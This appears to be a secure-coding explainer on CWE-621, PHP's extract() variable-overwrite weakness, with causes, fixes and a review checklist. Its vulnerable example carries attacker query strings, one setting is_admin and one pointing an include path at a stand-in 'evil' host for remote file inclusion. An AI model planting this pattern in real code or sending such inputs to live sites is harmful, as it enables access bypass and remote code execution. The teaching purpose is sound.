CWE-621, Variable Extraction Error, occurs when external input decides the names of variables that get filled in, without checking the names. It is mostly seen in PHP.
How it happens
PHP's extract() turns array keys into variables. Used on $_REQUEST, it recreates the dangerous register_globals behavior: whatever the client sends becomes a variable. MITRE says calling extract() or import_request_variables() without the proper arguments can allow arbitrary global variables to be overwritten, including superglobals. Similar functionality can exist in other interpreted languages and custom languages.
// Vulnerable: attacker-chosen names overwrite your variables
extract($_REQUEST);
if ($is_admin) { show_admin(); } // ?is_admin=1
include($template_dir . '/main.php'); // ?template_dir=http://evil/
The observed examples show how this chains into worse bugs: extract issues enabling file inclusion (CVE-2006-7135), a compatibility layer enabling path traversal, and static code injection. One case notes extract() buried in include files, which made post-disclosure analysis confusing.
What an attacker gains
Integrity impact: the attacker can modify sensitive data or program variables. As the examples show, that often leads on to file inclusion or code injection.
How to find it
The record lists no detection methods. Search for extract( and import_request_variables( across the codebase, including include files and plugins, then check what data feeds them.
How to fix it
- Use allowlists of variable names that can be extracted.
- Consider refactoring to avoid extraction routines altogether.
- In PHP, call
extract()with options such asEXTR_SKIPandEXTR_PREFIX_ALL, and callimport_request_variables()with a prefix argument. These capabilities are not present in all PHP versions.
// Safer: read only the fields you expect
$name = $_POST['name'] ?? '';
A closer look at why extract() hides so well
The danger of extract() is that it works quietly. Nothing in the code announces that every request parameter has just become a variable. A reviewer reading if ($is_admin) has no hint that the variable can be set from a query string.
MITRE's examples show the consequence. Variables that later feed an include statement turn extraction into file inclusion, and variables used in path building turn it into path traversal. In one case, the extract() call was buried in an include file, and the original report seemed incorrect because analysts looked in the wrong place.
The pattern often came from compatibility work. When hosting providers turned off register_globals, some developers added extract($_REQUEST) to keep old code running. That fix brought the same weakness back under a new name.
If you inherit such code, replace the blanket call with explicit reads, one per expected field. It takes longer than one line and it removes a whole class of surprises.
Review checklist:
- Search for
extract(andimport_request_variables(in application code, includes and plugins. - For each hit, name the array being extracted and decide who controls it.
- Replace each call with explicit reads, or add
EXTR_SKIPandEXTR_PREFIX_ALL. - Confirm that no variable produced by extraction reaches an include, a path or a query.
If you depend on third-party PHP packages, a dependency scan can show whether any known issue applies to the versions you run.
Quick check
Why is extract($_REQUEST) dangerous?
It lets the client pick variable names, so it can overwrite program variables, including ones that control access or file paths.